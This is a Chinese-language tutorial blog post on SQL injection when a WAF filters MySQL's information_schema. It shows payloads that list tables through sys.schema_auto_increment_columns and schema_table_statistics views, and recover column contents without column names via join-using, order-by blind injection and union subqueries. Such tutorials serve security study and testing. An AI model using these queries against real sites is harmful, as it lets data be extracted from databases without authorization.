sql注入中information_schema被过滤的问题

目录

一、information_schema库的作用

二、获得表名

[2.1 sys.schema_auto_increment_columns](#2.1 sys.schema_auto_increment_columns)

[2.2 schema_table_statistics](#2.2 schema_table_statistics)

三、获得列名

[join ... using ...](#join … using …)

[order by盲注](#order by盲注)

子查询


在进行sql注入时,我们经常会使用information_schema来进行爆数据库名、表名、字段名,但是当waf禁用掉这个库时,我们应该如何爆出数据呢?这个时候我们可能会思考有没有可以替代它的库呢?

一、information_schema库的作用

那么想要找到替代它的库,我们首先要知道information_schema库的作用是什么?

它是一个系统数据库,存储了MySQL服务器中所有其他数据库的元数据信息。提供对数据库、表、列、索引等元数据的访问,帮助我们了解数据库结构。很幸运在mysql 5.7以后新增了schema_auto_increment_columns这个视图去保存所有表中含有自增字段的信息。不仅保存了库名、表名还保存了自增字段的列名

二、获得表名

2.1 sys.schema_auto_increment_columns

当我们利用database()函数获得数据库名之后,可以利用这个视图去获得表名和列名

sql 复制代码
select table_name,column_name from sys.schema_auto_increment_columns where table_schema = "security";

2.2 schema_table_statistics

而对于没有自增列的表名,这个视图是无法获取的。这个时候我们可以通过统计信息视图获得表名

schema_table_statistics_with_buffer

schema_table_statistics

sql 复制代码
select table_name from sys.schema_table_statistics_with_buffer where table_schema = "security";
select table_name from sys.schema_table_statistics where table_schema = "security";

三、获得列名

对于schema_auto_increment_columns获得了表名,那么列名呢?这里我们就需要用到无列名注入

join ... using ...

sql 复制代码
select * from users where id='0' union all select * from (select * from users as a join users as b)as c;
select * from users where id='0' union all select * from (select * from users as a join users as b using(id,username,password))as c;

order by盲注

order by用于根据指定的列对结果集进行排序。一般上是从0-9、a-z排序,不区分大小写。

order by盲注为何可以用于无列名注入呢?看个例子。

sql 复制代码
 select * from users where id='1' union select 1,2,'c' order by 3;
select * from users where id='1' union select 1,2,'d' order by 3; 
 select * from users where id='1' union select 1,2,'e' order by 3; 

比如当我们需要猜解第三列的内容时,使用order by实例如下:

当猜测的值大于当前值时,会返回原来的数据即这里看第二列返回是否正常的username,否则会返回猜测的值。

子查询

子查询也能用于无列名注入,主要是结合union select联合查询构造列名再放到子查询中实现。

使用如下union联合查询,可以给当前整个查询的列分别赋予1、2、3的名字:

sql 复制代码
select 1,2,3 union select * from users; 

接着使用子查询就能指定查询刚刚赋予的列名对应的列内容了:

sql 复制代码
select `3` from (select 1,2,3 union select * from users);  
相关推荐
余槐i3 小时前
200万行表加索引锁死写入:PostgreSQL CONCURRENTLY 的三类等待与重建路径
数据库·postgresql·性能优化·索引·explain
北龙云海4 小时前
AI驱动数据库运维变革:北龙云海智能巡检平台实践与展望
运维·数据库·人工智能
带金箍的至尊宝4 小时前
系统架构设计师笔记 05:第2章硬件与软件基础,冯诺依曼结构怎么考
数据库·笔记·系统架构
蟕初的梦想4 小时前
Claude Haiku 5.5 效能实测与场景应用指南
数据库·人工智能·大模型
专注API从业者4 小时前
告别复杂页面解析,OpenClaw 快速搭建电商商品监控与数据分析脚本
大数据·数据库·python·数据挖掘·数据分析
naturliche5 小时前
sgx支持数据库环境配置,编译,debug
数据库·编译·sgx
SelectDB5 小时前
Apache Doris x Fluss:面向湖流一体的统一查询与分析
大数据·数据库·数据分析
云贝贝贝5 小时前
Oracle 备份恢复实战:RMAN 备份、恢复与误删闪回
数据库
java1234_小锋5 小时前
【技术专题】Mysql8 数据库 - Mysql8 触发器
数据库·mysql·mysql8
要吃这碗饭5 小时前
AI 智能体如何通过 auth.md 注册 Bright Data 账号
数据库·人工智能·php